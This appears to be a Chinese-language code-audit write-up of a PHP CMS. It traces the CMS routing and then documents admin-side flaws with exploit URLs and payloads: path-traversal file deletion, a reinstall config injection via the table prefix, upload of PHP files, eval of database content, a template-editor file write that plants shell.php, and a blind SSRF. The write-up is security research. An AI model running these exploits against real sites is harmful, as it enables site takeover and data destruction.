RUN_TYPE用来获取模板路径
config.inc.php是配置文件
run.inc.php是正式开始的地方
这cms注释特别清晰,可以看到if选择使用什么模板
然后将模板路径存放到config数组
包含一些文件
spl_autoload_register函数作用是new一个类如果没有找到就会触发指定的函数
这里就是requireClassName函数
new找不到类就会触发requireClassName函数
接下来会去找这个类文件,找到了就包含,没找到就触发_404
上面这段是伪静态,可以先不用看
下面就是入口
如果一个三元表达式,如果没有拓展$extendEnt=Action
获取m参数,首字母大写
拼接$m.$extendEnt,class_exists查看是否存在这个类,如果没有这个类m默认为index
下面实例化这个类,调用类内run方法
前台文件有这么些
查看IndexAction文件
类中没有run方法,构造函数调用父类构造函数,查看父类
这个类再次调用父类构造函数
这个类里有run函数,获取a参数的值
method_exists查找类内是否存在a中函数,如没有则调用index函数
http://127.0.0.1/index.php?m=类前缀&a=类内方法
url基本就是这样的
漏洞位置:BackdbAction.class.php
首先看到这个delOne函数,里面的UnLink也是重写过的,可以过去看一下
功能没区别
找到两个调用的地方过去看看
是一个没有任何检测的文件删除直接用路径穿越就可以删除指定文件
因为路径在$dir = ROOT_PATH.’file/back/‘.$filename;所以要往上走两次
exp:
http://127.0.0.1/admin.php?m=Backdb&a=delbackdb&filename=../../install/install_ok.txt
漏洞位置:BackdbAction.class.php
和上面的漏洞一样,只是要POST一个数组
exp:
1 | POST /admin.php?m=Backdb&a=delmorebackdb HTTP/1.1 |
使用任意文件删除漏洞删除install_ok.txt可以重装CMS
但是这方法有不好的地方,这个CMS会先测试连接再写入配置文件
所以只能在表前缀动手脚,不然连接不成功不会写入
但是表前缀改了这个CMS就会有点崩掉,因为哪里都包含这个文件
就复现一下吧
将表前缀改为lmx_’);phpinfo();//_
查看配置文件
因为单引号没有转义所以照成漏洞
基本设置->文件设置
在后台允许上传图片类型加上php就可以上传了
漏洞位置:AcquisiAction.class.php
可以看到最后有个eval函数,会将数据库中的内容读出来放入$data内
在构造函数内获取参数
showCjData中lid和id只要存在就行,cid对应lmx_cj_data内的id字段
在表内加入这条数据
eval(‘$data=1;phpinfo();//‘)
访问http://127.0.0.1/admin.php?m=Acquisi&a=showCjData&cid=1&lid=3&id=1
漏洞位置TemplateAction.class.php
file::put($this->config[‘template’].$dir.’/‘.$_POST[‘filename’],string::stripslashes($_POST[‘temcontent’]));
这条代码文件名和内容都可控,造成任意文件写入
这里的put是重写过的,就是file_put_content函数
exp:
1 | POST /admin.php?m=Template&a=editfile&dir=m HTTP/1.1 |
会在template\m\生成shell.php
漏洞位置:AcquisiAction.class.php
这个函数内的getContentUrl函数
此函数内没有任何过滤,走到getContent函数
此函数内是很明显的ssrf漏洞
但是在这里正则匹配/Ui这个/U不清楚是什么作用,网上好像也没找到。因为这个U通配符就匹配不到文件了,只能是无回显ssrf
端口开放会报错
端口未开放会提示连接失败